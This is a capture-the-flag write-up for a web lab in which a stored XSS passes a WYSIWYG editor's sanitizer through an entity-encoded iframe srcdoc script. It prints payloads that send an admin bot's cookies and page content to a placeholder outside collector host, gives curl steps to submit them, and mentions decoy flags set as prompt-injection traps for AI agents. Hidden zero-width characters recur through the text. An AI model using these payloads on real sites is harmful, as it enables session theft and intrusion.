← Back to Writeups
CUSTOMMediumWeb

Lab 72 — WriteFlow — Stored XSS via WYSIWYG Editor Sanitizer Bypass

XESXOR9/10/20264 min read
#web#custom#medium#stored_xss_via_iframe_srcdoc#html_entity_encoding_sanitizer#cookie_exfiltration_via_image_#admin_bot_exploitation#interaction_server_oob_exfiltr#decoy_flag_avoidance#linux

Lab 72 — WriteFlow — Stored XSS via WYSIWYG Editor Sanitizer Bypass

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-22 | Status: Solved Techniques: stored_xss_via_iframe_srcdoc, html_entity_encoding_sanitizer_bypass, cookie_exfiltration_via_image_src, admin_bot_exploitation, interaction_server_oob_exfiltration, decoy_flag_avoidance

Summary

Task: Express.js knowledge base with WYSIWYG editor whose server-side sanitizer strips script tags and event handlers but allows iframe with srcdoc attribute. Solution: used iframe srcdoc with HTML-entity-encoded script tag to bypass sanitizer, exfiltrated admin's non-HttpOnly FLAG cookie via Interaction Server when admin bot reviewed the article.

Lab 72 — WriteFlow — Stored XSS via WYSIWYG Editor Sanitizer Bypass — HackAdvisor

Description

WriteFlow is a collaborative knowledge base platform where teams create, share, and organize articles using a rich text editor. The platform supports rich formatting, media embedding, and collaborative editing with an admin review workflow. The platform includes a WYSIWYG editor with an HTML source editing mode that allows users to write richly formatted content. Articles are submitted to an admin review queue, where an administrator periodically visits and reviews each submission. Goal: find a way to access sensitive information that only the administrator can see. Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: Express.js collaborative knowledge base with a WYSIWYG article editor that has an HTML source mode. Articles go through an admin review queue where an admin bot visits each submission. The goal is to exploit the editor to steal sensitive admin-only information.

Analysis

Application Stack

  • Backend: Express.js behind nginx/1.25.5
  • Session: connect.sid cookie with HttpOnly; Secure; SameSite=Lax
  • No CSP header — no Content-Security-Policy restrictions on inline scripts or external requests
  • Key pages: /login, /articles/new (article creation), /admin/review (403 for regular users)
  • Admin bot: Periodically reviews submitted articles in the admin review queue
  • Decoy flags: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments on every page — prompt injection traps for AI agents ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Sanitizer Behavior

The editor.js source contains a revealing comment:

"The sanitizer strips script tags and event handlers (onclick, onerror, etc.) to prevent XSS. Safe elements like iframes, videos, and embeds are allowed for rich media content."

Systematic testing of the server-side sanitizer revealed:

PayloadResult
<script>alert(1)</script>❌ Stripped
<img src=x onerror="alert(1)">❌ Event handler stripped
<svg onload="alert(1)">❌ SVG tag stripped
<embed src="...">❌ Stripped
<object data="...">❌ Stripped
<a href="javascript:alert(1)">❌ javascript: protocol stripped
<details ontoggle="alert(1)">❌ Event handler stripped
<iframe src="javascript:...">❌ Quotes inside attribute broke HTML parsing
<iframe srcdoc="&lt;script&gt;...&lt;/script&gt;">✅ Passed through
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The Bypass: <iframe srcdoc> with HTML Entity Encoding

The key insight is that the sanitizer processes the srcdoc attribute value as a raw string. When the script tag is HTML-entity-encoded (&lt;script&gt; instead of <script>), the sanitizer sees harmless text entities — not actual script tags. However, when the browser renders the srcdoc iframe, it decodes the HTML entities and creates a new document context where the <script> tag executes normally.

Sanitizer sees:  &lt;script&gt;...&lt;/script&gt;  → "just text entities, safe"
Browser renders: <script>...</script>              → JavaScript executes!

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Cookie Configuration

The admin session has two cookies:

  • connect.sid — HttpOnly; Secure; SameSite=Lax (not accessible via JavaScript)
  • FLAG=FLAG{...} — non-HttpOnly (readable via document.cookie)

Solution

Step 1: Login and Obtain Session

bash
TARGET="https://TARGET_URL"
curl -s -c cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123" \
  -L -o /dev/null

Step 2: Craft the XSS Payload

The payload uses <iframe srcdoc> with HTML-entity-encoded JavaScript that exfiltrates document.cookie to the Interaction Server: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

html
<iframe srcdoc="&lt;script&gt;new Image().src='http://INTERACT_URL/CK/'+encodeURIComponent(document.cookie)&lt;/script&gt;"></iframe>

For robustness, a more comprehensive payload was used that also probed admin-only pages:

html
<iframe srcdoc="&lt;script&gt;var B=&apos;http://INTERACT_URL&apos;;function E(p,d){var e=btoa(unescape(encodeURIComponent(d)));for(var i=0;i&lt;e.length;i+=200){var s=e.substring(i,i+200).replace(/\+/g,&apos;-&apos;).replace(/\//g,&apos;_&apos;).replace(/=/g,&apos;.&apos;);new Image().src=B+&apos;/&apos;+p+Math.floor(i/200)+&apos;/&apos;+s}}new Image().src=B+&apos;/CK/&apos;+encodeURIComponent(document.cookie||&apos;EMPTY&apos;).substring(0,200);fetch(&apos;/articles/18&apos;).then(r=&gt;r.text()).then(d=&gt;{var m=d.indexOf(&apos;article-body&apos;);E(&apos;A&apos;,m&gt;0?d.substring(m,m+2000):d.substring(0,2000))});fetch(&apos;/profile&apos;).then(r=&gt;r.text()).then(d=&gt;{var m=d.indexOf(&apos;profile-name&apos;);E(&apos;P&apos;,m&gt;0?d.substring(m,m+800):d.substring(0,800))})&lt;/script&gt;"></iframe>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key design choices:

  • new Image().src for exfiltration — no CORS restrictions on image requests
  • URL-safe base64 encoding for large payloads (chunked into 200-char URL path segments)
  • Multiple fetch targets to probe admin-only content

Step 3: Submit the Article

bash
curl -s -b cookies.txt -X POST "$TARGET/articles/new" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "title=Test+Article&html_content=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(PAYLOAD))')"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Admin Bot Triggers the XSS

The admin bot periodically visits the review queue at /admin/review, which renders each submitted article's HTML content. When it renders the article containing the <iframe srcdoc> payload:

  1. The browser creates an iframe with the decoded srcdoc content
  2. The <script> tag inside the srcdoc executes
  3. document.cookie is read — capturing the non-HttpOnly FLAG cookie
  4. The cookie value is sent to the Interaction Server via an image request

Step 5: Retrieve the Flag from Interaction Server

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The Interaction Server request log showed:

GET /CK/FLAG%3DFLAG%7BREDACTED%7D

URL-decoded: FLAG=FLAG{REDACTED}

What Didn't Work

  • <img src=x onerror="..."> — event handlers stripped by sanitizer
  • <script>alert(1)</script> — script tags stripped
  • <svg onload="..."> — SVG tags stripped entirely
  • <iframe src="javascript:..."> — quotes inside attribute value broke HTML parsing
  • <embed>, <object> — stripped by sanitizer
  • <a href="javascript:..."> — javascript: protocol stripped from href
  • Searching admin page HTML for FLAG pattern — flag was in a cookie, not in page content
  • Dumping full /admin/review page — 27,038 chars caused log flooding; needed surgical extraction ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍